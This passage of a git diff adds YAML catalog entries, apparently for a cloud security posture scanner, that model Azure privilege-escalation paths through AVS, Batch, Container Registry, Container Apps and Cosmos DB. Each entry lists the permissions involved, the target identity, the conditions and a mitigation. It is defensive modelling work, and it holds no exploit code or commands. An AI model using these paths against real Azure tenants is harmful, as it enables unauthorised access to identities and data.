cannot create an edge. + +- id: azure-avs-list-nsxt-admin-external-principal + provider: azure + service: avs + title: Reach the named AVS NSX-T admin with a verified returned credential + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#cloudadmin--nsx-t-credential-disclosure-listadmincredentials + source_revision: 171e422 + summary: Reading AVS administrator credentials can reach the exact NSX-T admin only when a reviewed login proves that the returned credential grants a new NSX-T action. + requires: + all_of: + - action: Microsoft.AVS/privateClouds/listAdminCredentials/action + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: vmware_nsx + scope: inherited_scope + outcome: credentials + aggregate_as: Exact AVS NSX-T admin reached with reviewed credential + conditions: + - id: exact_nsxt_login_and_permission + description: Unique complete reviewed evidence must bind the returned nsxtUsername and nsxtPassword to this private cloud, successful authentication, prior source denial, and a newly allowed named NSX action within the Cloud Admin role. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict listAdminCredentials/action and rotate exposed NSX-T credentials. + references: + - https://learn.microsoft.com/en-us/azure/azure-vmware/concepts-identity + notes: The azure_external_principal_evidence record must name the exact NSX-T subject and resource; a private-cloud resource proxy or plaintext password alone cannot create an edge. + +- id: azure-avs-run-command-vcenter-grant-external-principal + provider: azure + service: avs + title: Gain a named vCenter identity through a verified AVS Run Command grant + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#run-command-identity-grants-without-reading-credentials-scriptexecutionswrite + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + summary: An AVS Run Command cmdlet can grant a named vCenter account new access only when the chosen package and cmdlet succeed and a reviewed login proves the added permission. + requires: + all_of: + - action: Microsoft.AVS/privateClouds/scriptExecutions/write + scope: '*' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: vmware_vcenter + scope: inherited_scope + outcome: identity + aggregate_as: Exact vCenter identity granted by verified AVS Run Command + conditions: + - id: exact_cmdlet_subject_and_grant + description: Unique complete reviewed evidence must bind the executed identity cmdlet and granted group to a source-controlled member login, prior denial, successful grant, and newly allowed vCenter action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict AVS script execution and audit vCenter SSO identity sources and administrators. + references: + - https://learn.microsoft.com/en-us/azure/azure-vmware/using-azure-vmware-solution-run-command + notes: Package and cmdlet read permissions aid discovery but are not needed when the cmdlet ID is already known. The selector checks write permission on the exact script execution, including a grant limited to that child resource. Only a reviewed identity_grant artifact naming the execution, granted group, source-controlled member login, and successful subsequent authorization creates an edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/batch.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/batch.yaml new file mode 100644 index 0000000000..b7f2537232 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/batch.yaml @@ -0,0 +1,145 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Batch techniques (declarative only). +# Source: hacktricks-cloud az-batch-privesc.md (rev 171e422, re-verified). +# Pool identities are user-assigned only; {target.host_resource} is the Batch account owning the pool. + +- id: azure-batch-shared-key-task-submission + provider: azure + service: batch + title: Batch shared key allows task submission to pools with managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountslistkeysaction + source_revision: a66f094ede + summary: The source can obtain the privileges of user-assigned identities attached to the Batch account's pools. + requires: + all_of: [] + any_of: + - - action: Microsoft.Batch/batchAccounts/listkeys/action + scope: "{target.host_resource}" + - - action: Microsoft.Batch/batchAccounts/regeneratekeys/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Batch/batchAccounts/pools + managed_identity_type: user_assigned + azure_batch_shared_key_pool_identity: true + scope: inherited_scope + aggregate_as: "Pool identities of Batch account {target.host_resource}" + conditions: + - id: shared_key_auth_mode + description: allowedAuthenticationModes must include SharedKey or the source must be able to enable it on the same account. + - id: pool_node_allocation + description: The existing pool must be able to allocate nodes for submitted tasks. + - id: batch_data_plane_reachability + description: The source must be able to reach the Batch service endpoint allowed by the account's network settings. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove SharedKey from allowedAuthenticationModes and restrict listkeys/regeneratekeys. + references: + - https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools + notes: The selector joins the key action to the exact account of a native pool carrying a verified user-assigned identity and checks SharedKey mode or an account/write re-enablement path. regeneratekeys also disrupts legitimate key users. + +- id: azure-batch-job-task-submission + provider: azure + service: batch + title: Submit Batch jobs/tasks via data actions to pools with managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#azure-batch-job-and-task-data-actions + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities attached to the Batch account's pools. + requires: + all_of: [] + any_of: + - - action: Microsoft.Batch/batchAccounts/jobs/write + data_action: true + scope: "*" + - - action: Microsoft.Batch/batchAccounts/jobSchedules/write + data_action: true + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Batch/batchAccounts/pools + managed_identity_type: user_assigned + azure_batch_job_pool_identity: true + scope: inherited_scope + aggregate_as: "Pool identities of Batch account {target.host_resource}" + conditions: + - id: pool_has_nodes + description: The exact native pool must have compute nodes or a configured path to allocate them. + - id: task_can_reach_imds + description: Task user isolation and network configuration must allow tasks to request the pool identity token. + blockers: [] + confidence: conditional + severity: high + mitigation: Limit Azure Batch Job Submitter assignments and keep pool identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/batch/batch-role-based-access-control + notes: The selector joins jobs/write or jobSchedules/write on the exact AAD-enabled Batch account to a native pool with the target user-assigned identity and node capacity. Both job and schedule creation can include a Job Manager or Job Preparation Task, so separate task submission permission is not needed for code execution. Task isolation and actual scheduling remain conditional. + +- id: azure-batch-pool-write-starttask + provider: azure + service: batch + title: Rewrite a pool start task to run code on nodes with the pool identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountspoolswrite--node-rce-via-pool-starttask--managed-identity-attach-control-plane-no-keys + source_revision: 171e422 + summary: A pool start task the source controls runs on every node through the control plane (no account keys), exposing the user-assigned identities attached to the pool. + requires: + all_of: + - action: Microsoft.Batch/batchAccounts/pools/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Batch/batchAccounts/pools + managed_identity_type: user_assigned + azure_batch_pool_starttask_identity: true + scope: inherited_scope + aggregate_as: "Pool identities of Batch account {target.host_resource}" + conditions: + - id: nodes_restart_or_join + description: The new start task runs when nodes join or are rebooted/reimaged; existing idle nodes do not rerun it on their own. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict pools/write (included in Contributor) and keep pool identities least-privileged. + references: + - https://learn.microsoft.com/en-us/rest/api/batchmanagement/pool/update + - https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools + notes: The selector requires an exact native pool carrying the verified target identity and a pools/write grant on that pool. New pool identity attachment is modelled separately in azure-batch-pool-write-assign-user-assigned-identity. + +- id: azure-batch-pool-write-assign-user-assigned-identity + provider: azure + service: batch + title: Attach a user-assigned identity to a Batch pool and run code on its nodes + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountspoolswrite--node-rce-via-pool-starttask--managed-identity-attach-control-plane-no-keys + source_revision: 171e422 + summary: The source can attach a user-assigned identity to a Batch pool it can create or update, run a start task on new nodes, and use that identity's privileges. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_batch_pool_assignable_uami: true + scope: inherited_scope + aggregate_as: User-assigned identities attachable to Batch pools in {scope} + conditions: + - id: pool_core_quota + description: The Batch account needs quota and a supported VM configuration to allocate nodes; an updated pool must first scale to zero for its new identity to reach nodes. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and pools/write. + references: + - https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools + - https://learn.microsoft.com/en-us/rest/api/batchmanagement/pool/update + notes: The evaluator checks pools/write on an exact existing pool or a new pool path under an inventoried Batch account. Pool allocation remains conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/confidential_ledger.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/confidential_ledger.yaml new file mode 100644 index 0000000000..fcb8c65759 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/confidential_ledger.yaml @@ -0,0 +1,38 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Confidential Ledger techniques (declarative only). +# Source: hacktricks-cloud az-confidential-ledger-privesc.md (rev 171e422). + +- id: azure-confidentialledger-ledgers-write-principal + provider: azure + service: confidential_ledger + title: Add a principal as ledger Administrator through ledgers/write + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md#data-plane-role-self-grant-via-ledgerswrite + source_revision: 171e422 + summary: The source can add its own Entra principal as a ledger Administrator by updating the ledger's aadBasedSecurityPrincipals list. + requires: + all_of: + - action: Microsoft.ConfidentialLedger/ledgers/write + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + azure_confidential_ledger_admin_path: true + scope: inherited_scope + aggregate_as: "Confidential Ledger administrators of {target.scope}" + conditions: + - id: ledger_data_plane_access + description: The source must obtain a ledger audience token and reach the ledger endpoint to use the new role. + blockers: + - azure_deny_assignment + confidence: conditional + severity: medium + mitigation: Restrict ledgers/write and monitor aadBasedSecurityPrincipals changes. + references: + - https://learn.microsoft.com/en-us/rest/api/resource-manager/confidentialledger/ledger/update?view=rest-resource-manager-confidentialledger-2022-05-13 + - https://learn.microsoft.com/en-us/azure/confidential-ledger/manage-azure-ad-users + notes: The selector requires an inventoried usable ledger and a source user, service principal, or managed identity. The ARM update can grant Administrator; data-plane use remains conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/container_registry.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/container_registry.yaml new file mode 100644 index 0000000000..186129fff9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/container_registry.yaml @@ -0,0 +1,101 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Container Registry techniques (declarative only). +# Source: hacktricks-cloud az-container-registry-privesc.md (rev 171e422, re-verified). + +- id: azure-acr-task-write-existing-identity + provider: azure + service: container_registry + title: Create or update an ACR Task running with the task's managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriestaskswrite + source_revision: db5b136660 + summary: The source can obtain the privileges of the ACR Task's managed identities. + requires: + all_of: + - action: Microsoft.ContainerRegistry/registries/tasks/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ContainerRegistry/registries/tasks + azure_acr_existing_task_identity: true + scope: inherited_scope + aggregate_as: Identities of ACR Task {target.host_resource} + conditions: + - id: task_runs + description: The task must run; tasks/write can itself set a timer trigger, so no separate run permission is strictly needed (the run waits for the schedule). + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict tasks/write and keep task identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-authentication-managed-identity + notes: Only an existing task whose native identity matches the target qualifies; write on the exact task can change its steps or schedule without replacing its identity. + +- id: azure-acr-task-assign-user-assigned-identity + provider: azure + service: container_registry + title: Create an ACR Task with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriestaskswrite + source_revision: db5b136660 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.ContainerRegistry/registries/tasks/write + scope: '{pivot}' + pivot_resource_type: Microsoft.ContainerRegistry/registries + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + azure_acr_assignable_uami: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: task_runs + description: The task must run (schedule, source trigger, or a separate run permission). + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and tasks/write. + references: + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-authentication-managed-identity + notes: Task write is evaluated on an inventoried ACR registry or existing task, and the target UAMI must have a matching resource record; missing inventory is unresolved. + +- id: azure-acr-layer-credential + provider: azure + service: container_registry + title: Extract credentials from ACR image layers + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#microsoftcontainerregistryregistriespullread + source_revision: bd4bcd0ea3 + summary: Read a verified usable credential from an ACR image layer and gain its Entra service principal permissions. + requires: + all_of: + - action: Microsoft.ContainerRegistry/registries/pull/read + scope: '{pivot}' + data_action: true + pivot_resource_type: Microsoft.ContainerRegistry/registries + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates this edge; uncollected, partial, or unverified content creates no path. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-concepts + notes: Only an exact, usable credential mapped to a named Entra service principal by reviewed azure_privesc_challenge_evidence creates a path; missing or incomplete review creates no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/containers.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/containers.yaml new file mode 100644 index 0000000000..671f30ec21 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/containers.yaml @@ -0,0 +1,326 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Container Instances, Container Apps and Container Apps Jobs techniques (declarative only). +# Source: hacktricks-cloud az-container-instances-apps-jobs-privesc.md (rev 171e422, re-verified). + +- id: azure-aci-container-exec + provider: azure + service: containers + title: Execute commands in a running Container Instances container + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftcontainerinstancecontainergroupsread-microsoftcontainerinstancecontainergroupscontainersexecaction + source_revision: 171e422 + summary: The source can run a command inside a running container group and use the managed identity attached to that same group. + requires: + all_of: + - action: Microsoft.ContainerInstance/containerGroups/containers/exec/action + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ContainerInstance/containerGroups + azure_aci_exec_running_identity: true + scope: inherited_scope + aggregate_as: Identities of container group {target.host_resource} + conditions: + - id: exact_running_container + description: A running container in the exact group must carry the named identity and accept a command from the source. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict containers/exec/action and keep container group identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/container-instances/container-instances-exec + notes: The direct exec action is checked on the exact group; CLI discovery may also need containerGroups/read. Missing runtime or identity facts stay unresolved. + +- id: azure-aci-containergroup-write-existing + provider: azure + service: containers + title: Redeploy an existing container group with changed command, image or environment + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftcontainerinstancecontainergroupswrite-environment-update + source_revision: 171e422 + summary: The source can redeploy an existing running container group with changed code or command and use the managed identity attached to that same group. + requires: + all_of: + - action: Microsoft.ContainerInstance/containerGroups/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ContainerInstance/containerGroups + azure_aci_existing_write_identity: true + scope: inherited_scope + aggregate_as: Identities of container group {target.host_resource} + conditions: + - id: exact_existing_group_update + description: The native group must be running with the target identity and accept an in-place image, command or environment update. + - id: uami_linked_access_check + description: Container groups are updated by a full PUT that re-submits the identity block; for groups carrying user-assigned identities ARM may also require userAssignedIdentities/assign/action on each of them (system-assigned identities are unaffected). + - id: interpreter_startup_hook + description: The environment-only variant needs a container whose entrypoint honours an attacker-set startup variable; changing image/command removes this dependency. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict containerGroups/write. + references: + - https://learn.microsoft.com/en-us/azure/container-instances/container-instances-update + notes: The write permission must apply to the exact existing group. Stopped or unknown group state stays unresolved; succeeded and failed groups cannot be updated in place. Identity linked access checks and update limits remain conditional. + +- id: azure-aci-assign-user-assigned-identity + provider: azure + service: containers + title: Create or update a container group with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftresourcessubscriptionsresourcegroupsread-microsoftcontainerinstancecontainergroupswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: The source can attach an assignable user-assigned identity to a container group it can create or update, then run code as that identity. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.ContainerInstance/containerGroups/write + scope: '*' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_aci_assignable_uami: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: aci_deployment_and_identity_use + description: The container group must accept the update or creation, start attacker-controlled code, and expose the assigned identity token to that code. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and containerGroups/write. + references: + - https://learn.microsoft.com/en-us/azure/container-instances/container-instances-managed-identity + notes: Requires the exact identity assignment right and a writable inventoried container group, or a known resource group where a new container group can be written. Missing group inventory remains unresolved. + +- id: azure-containerapp-exec + provider: azure + service: containers + title: Open a console in a running Container App + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappsread-microsoftappmanagedenvironmentsread-microsoftappcontainerappsrevisionsreplicasread-microsoftappcontainerappsrevisionsread-microsoftappcontainerappsgetauthtokenaction-microsoftappcontainerappsexecaction-microsoftappcontainerappsdebugaction + source_revision: 171e422 + summary: A console in a running Container App may use a managed identity available to its main container. + requires: + all_of: + - action: Microsoft.App/containerApps/getAuthToken/action + scope: '{target.host_resource}' + any_of: + - - action: Microsoft.App/containerApps/exec/action + data_action: true + scope: '{target.host_resource}' + - - action: Microsoft.App/containerApps/debug/action + data_action: true + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + azure_containerapp_exec_identity: true + scope: inherited_scope + aggregate_as: Identities of Container App {target.host_resource} + conditions: + - id: replica_running + description: The exact app must have a revision with a running replica. + - id: identity_main_stage + description: The target identity must be available during the app's main lifecycle. + - id: client_reads + description: CLI clients also use containerApps/read, revisions/read, revisions/replicas/read and managedEnvironments/read. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict exec/debug/getAuthToken actions on Container Apps. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/container-console + notes: Native app GET and revision LIST evidence bind the current identity and running replica to the exact app where both permissions apply. + +- id: azure-containerapp-write-existing + provider: azure + service: containers + title: Update an existing Container App's image, command or environment + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappswrite + source_revision: 171e422 + summary: A writable, usable Container App can run a changed revision with its currently attached managed identity. + requires: + all_of: + - action: Microsoft.App/containerApps/write + scope: '*' + target: + kind: azure_managed_identity + selector: + azure_containerapp_write_existing_identity: true + scope: inherited_scope + aggregate_as: Identities of Container App {target.host_resource} + conditions: + - id: controlled_revision_execution + description: Updating the app can create a controlled revision, but deployment and identity use still must succeed. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict containerApps/write. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/managed-identity + notes: Native Container App GET binds the exact current identity and usable app state; the selector checks containerApps/write on that app and start/action if it is stopped. The write can set a new image, command, scale and identity lifecycle for a new revision. + +- id: azure-containerapp-assign-user-assigned-identity + provider: azure + service: containers + title: Attach a user-assigned identity to an existing Container App + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: The source can attach a user-assigned identity to a writable existing Container App and run a new revision with it. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_containerapp_assignable_uami: true + scope: inherited_scope + aggregate_as: User-assigned identities attachable to Container Apps in {scope} + conditions: + - id: app_revision_execution + description: The controlled revision must start and be able to request the attached identity's token. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and containerApps/write. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/managed-identity + notes: The selector checks containerApps/write on an exact inventoried app, its running status, and start/action for a stopped app. An identity change alone does not create a revision; the same write grant can change the app template to run code. + +- id: azure-containerapp-create-with-user-assigned-identity + provider: azure + service: containers + title: Create a Container App with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappswrite-microsoftmanagedidentityuserassignedidentitiesassignaction-microsoftappmanagedenvironmentsjoinaction + source_revision: 171e422 + summary: The source can create a Container App that runs controlled code with a user-assigned identity in a joinable environment. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_containerapp_create_uami_path: true + scope: inherited_scope + aggregate_as: User-assigned identities usable by new Container Apps in {scope} + conditions: + - id: app_and_environment_deployment + description: The app and its environment must deploy, allocate a replica, and let controlled code request the identity token. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict managedEnvironments/join/action and userAssignedIdentities/assign/action. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/managed-identity + notes: The selector joins a new app path under an inventoried resource group with an exact joinable existing managed environment, or a creatable environment for which the source has both managedEnvironments/write and join/action. The app and environment share a subscription; deployment remains conditional. + +- id: azure-containerapp-job-start-template-override + provider: azure + service: containers + title: Start a Container Apps Job execution with an overridden template + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappjobsstartaction-microsoftappjobsread + source_revision: 171e422 + summary: The source can obtain the privileges of the job's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.App/jobs/start/action + scope: '{target.host_resource}' + - - action: Microsoft.App/jobs/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.App/jobs + azure_containerapp_job_execution_identity: true + scope: inherited_scope + aggregate_as: Identities of Container Apps Job {target.host_resource} + conditions: + - id: execution_template + description: Starting the job with a controlled template, or updating it to a controlled scheduled template, must produce an execution. + - id: identity_main_stage + description: The identity must be available to the overridden main or supported init container, or the writer must change that setting. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict jobs/start/action and jobs/write; keep job identities least-privileged. + references: + - https://learn.microsoft.com/en-us/rest/api/containerapps/jobs/start + notes: Native Job GET binds the current identity and lifecycle to one usable Job and managed environment. jobs/start/action can override one execution, including init containers on a confirmed Consumption workload profile; jobs/write can change the job to a controlled scheduled template. Actual execution remains conditional. + +- id: azure-containerapp-job-assign-user-assigned-identity + provider: azure + service: containers + title: Create or update a Container Apps Job with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftmanagedidentityuserassignedidentitiesassignaction-microsoftappjobswrite + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_containerapp_job_assignable_uami: true + scope: inherited_scope + aggregate_as: User-assigned identities usable by writable Container Apps Jobs in {scope} + conditions: + - id: job_execution + description: The writable job must run a controlled scheduled execution to request the attached identity token. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and jobs/write. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/jobs + notes: The selector checks jobs/write on an exact existing job in a usable managed environment, or a new job path in an inventoried group with managedEnvironments/join/action on an exact usable or creatable environment. The user-assigned identity must be verified, and deployment remains conditional. + +- id: azure-containerapp-sourcecontrols-write + provider: azure + service: containers + title: Repoint a Container App's GitHub Actions deployment to an attacker repository + source: src/pentesting-cloud/azure-security/az-persistence/az-container-apps-persistence.md#microsoftappcontainerappssourcecontrolswrite--repoint-github-actions-deployment + source_revision: 658a097d5c + summary: A reviewed attacker-controlled build and running revision may use the Container App's current managed identity. + requires: + all_of: + - action: Microsoft.App/containerApps/sourcecontrols/write + scope: "*" + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-containerapp-sourcecontrols-write + scope: inherited_scope + aggregate_as: "Verified deployed identity of Container App {target.host_resource}" + conditions: + - id: exact_source_control_deployment + description: Reviewed evidence must bind the source-control change, attacker-controlled build and running deployed revision to the exact Container App and its current usable managed identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.App/containerApps/sourcecontrols/write (Container Apps Contributor, Contributor) and alert on source-control binding changes. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/github-actions + notes: Uses typed azure_privesc_challenge_evidence and native Container App GET/revision LIST validated by azure_deployment_pivots. The selector checks the action grant on the exact sourcecontrols child resource named in the reviewed evidence. A sourcecontrols/write grant or source-binding change alone cannot create an identity edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/cosmos_db.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/cosmos_db.yaml new file mode 100644 index 0000000000..43641ebd16 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/cosmos_db.yaml @@ -0,0 +1,178 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Cosmos DB techniques (declarative only). +# Source: hacktricks-cloud az-cosmosDB-privesc.md (rev 171e422). + +- id: azure-cosmos-sql-role-assignment-write + provider: azure + service: cosmos_db + title: Grant a Cosmos DB native NoSQL data-plane role + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountssqlroledefinitionswrite-microsoftdocumentdbdatabaseaccountssqlroledefinitionsread--microsoftdocumentdbdatabaseaccountssqlroleassignmentswrite-microsoftdocumentdbdatabaseaccountssqlroleassignmentsread + source_revision: 171e422 + summary: The source may grant its Entra identity the built-in NoSQL Data Contributor role on a matching account. + requires: + all_of: + - action: Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write + scope: '*' + target: + kind: azure_dataplane_admin + selector: + azure_cosmos_sql_role_grant: true + scope: inherited_scope + aggregate_as: Cosmos DB data-plane admins of {target.scope} + conditions: + - id: role_definition + description: The built-in Data Contributor role must be assignable to the source identity on the exact usable NoSQL account. + - id: network_reachable + description: The source must have an allowed network path to use the resulting data-plane access. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict sqlRoleAssignments/write and sqlRoleDefinitions/write. + references: + - https://learn.microsoft.com/en-us/azure/cosmos-db/how-to-setup-rbac + notes: Native cosmos_account inventory identifies a usable NoSQL account. The selector requires sqlRoleAssignments/write on that account or an ancestor and a valid Entra source object ID. The built-in Data Contributor role makes roleDefinitions/write unnecessary. A grant limited to one assignment child is unresolved because an arbitrary account-wide grant is not established. + +- id: azure-cosmos-mongodb-user-definition-write + provider: azure + service: cosmos_db + title: Create a privileged Cosmos DB for MongoDB user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountsmongodbroledefinitionswrite--microsoftdocumentdbdatabaseaccountsmongodbroledefinitionsread-microsoftdocumentdbdatabaseaccountsmongodbuserdefinitionswrite--microsoftdocumentdbdatabaseaccountsmongodbuserdefinitionsread + source_revision: 171e422 + summary: The source may create a password-controlled MongoDB user with the built-in dbOwner role on a named database. + requires: + all_of: + - action: Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write + scope: '*' + target: + kind: azure_dataplane_admin + selector: + azure_cosmos_mongo_user_write: true + scope: inherited_scope + aggregate_as: MongoDB database access through {target.scope} + conditions: + - id: 